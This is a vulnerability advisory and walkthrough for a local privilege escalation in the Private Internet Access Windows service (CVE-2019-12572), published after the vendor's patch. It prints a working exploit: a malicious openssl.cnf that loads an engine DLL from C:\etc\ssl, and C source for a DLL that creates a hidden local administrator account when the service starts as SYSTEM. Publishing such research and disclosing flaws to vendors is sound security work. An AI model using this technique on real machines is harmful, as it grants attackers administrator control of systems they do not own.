Vulnerability Summary

During startup the PIA Windows service(pia-service.exe) loads the OpenSSL library from C:\Program Files\Private Internet Access\libeay32.dll. This library attempts to load the C:\etc\ssl\openssl.cnf configuration file. By default on Windows systems, authenticated users can create directories under C:\. A low privileged user can create a openssl.cnf configuration file to load a malicious OpenSSL engine library resulting in the arbitrary code execution as SYSTEM when the service starts.

The root cause is when the OpenSSL libraries were built, the OPENSSLDIR parameter was set to a path which a low privileged user can modify or create. I believe this issue is lurking in many Window applications that bundle OpenSSL libraries. I have discovered the same vulnerability in several other Windows applications and will be disclosing those findings when patches are available.

I created a simple tool to help identify potentially vulnerable OpenSSL libraries –https://github.com/mirchr/openssldir_check.

CVE-2019-12572 has been patched in v1.2.1. The latest Windows desktop client can be upgraded automatically via the application or manually from the download page at Private Internet Access.


Walkthrough

While hunting for potential vulnerabilities in the Windows Private Internet Access desktop application I noticed a failed call to open the c:\etc\ssl\openssl.cnf file during the service startup.

pia-openssl-failed-open

This caught my attention and I needed to research this further. But before I get into the details of that, let’s take a step back and see how I arrived there.

Procmon is my goto Windows utility for understanding how applications interact with the file system, registry, and process creation. I am especially interested in services since most execute with higher privileges. The latest PIA desktop application runs a service(pia-service.exe) at startup using the local SYSTEM account. This service handles privileged operations on behalf of the client.

Procmon has a feature to run at boot time. This is especially helpful for obtaining information on the various services that startup. To enable this, simply select Options / Enable Boot Logging. After you click “Enable Boot Logging”, a new window will appear. Click the “OK” button. Close Procmon and reboot the system.

procmon-enable-bootprocmon-enable-boot-2ndprompt

After the system reboots, login and open Procmon. Adjust the filter to the following criteria. This will show attempts to access files that do not exist by any user that begins with NT. After the filter is applied you will be prompted to save the boot time PML file. Select a location and click ok. This may take a while to load.procmon-post-boot-filter

With Procmon I generally look for paths that a low privileged user may have write access to such as C:\ProgramData, C:\users\, c:\Windows\Temp, or directories located at the root of the drive. When researching PIA I noticed it attempted to open c:\etc\ssl\openssl.cnf.  I was interested to see if this configuration file could be leveraged. I had used an openssl.cnf in the past, but only for creating TLS certificates.

pia-openssl-failed-open

When looking for privilege escalation opportunities I want to understand built-in functionality and find ways to abuse it. A low privileged user is allowed to create directories under c:\ so I can control the path. /etc/ssl is a Linux path which is interesting but most likely the application was cross compiled. Windows systems support the Linux path convention so “/” is translated to the root of the drive C:\.

Reading the OpenSSL config(5) documentation I noticed the configuration allows for external “Engine” libraries to be loaded. I also found a working example on Github.

At this point it appeared that I may have the capability to trick a process running as SYSTEM to load a DLL that I create. I created a new openssl.cnf file using the example as a template. The only real change was the path to the library. This needed to be changed where the PIA service was reading from.

# Malicious openssl.cnf
openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
woot = woot_section

[woot_section]
engine_id = woot
dynamic_path = c:\\etc\\ssl\\woot.dll
init = 0

Now that the configuration is ready the last step was to create a malicious library. There are many options for doing this but I already had a simple DLL ready from other research projects. When loaded, this code will execute net user commands to create a local administrator account named “woot”. No attempt was made to be stealthy. I plan to make an enhanced version in the future and will post details when completed. After compiling woot.dll I copied it to c:\etc\ssl as low privileged user.

/* Cross Compile with
   x86_64-w64-mingw32-g++ woot.c -o woot.dll -shared
*/
#include 
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            system("cmd /c net user woot securepasswordhere /add");
            system("cmd /c net localgroup administrators woot /add");
            break;
        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;
        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;
        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}

A low privileged user cannot restart the PIA service so a reboot is required. I setup Procmon to run on boot like before and then rebooted the system. This post-boot image shows the pia-service.exe running as SYSTEM and loading the woot.dll library. pia-openssl-engine-loading

Login as the newly created woot local administrator account.woot-cmd

I have discovered the same vulnerability with multiple products so I decided to make a utility to automate OpenSSL libraries by extracting the version and OPENSSLDIR value. The project can be found at https://github.com/mirchr/openssldir_check/. Here is a screenshot of what openssldir_check shows for the vulnerable version of PIA. Note that OPENSSLDIR is set to “/etc/ssl”. This translates to c:\etc\ssl on Windows.

openssldir_check-pia

Summary

Any Windows client or server application that bundles OpenSSL libraries should be reviewed to ensure that the OPENSSLDIR is not set to a path that could be writable from a low privileged user account.

I worked directly with the vendor(London Trust Media) and all of the vulnerabilities have been patched. It was a pleasure working with the security team at PIA. They were responsive and I appreciate the partnership to resolve the issues.

Test Environment

OS: Windows 10 Pro 10.0.17763
PIA Version: 1.0.2 (build 02363)

Timeline

2019-02-16 Contact vendor via email
2019-02-16 Vendor confirmed receipt
2019-05-20 Contacted vendor about coordinated disclosure
2019-05-24 Agreement reached on the public disclosure date
2019-06-04 Patched version v1.2.1 released to the public
2019-06-10 Public Disclosure

References

Text version of this advisory: CVE-2019-12572.txt.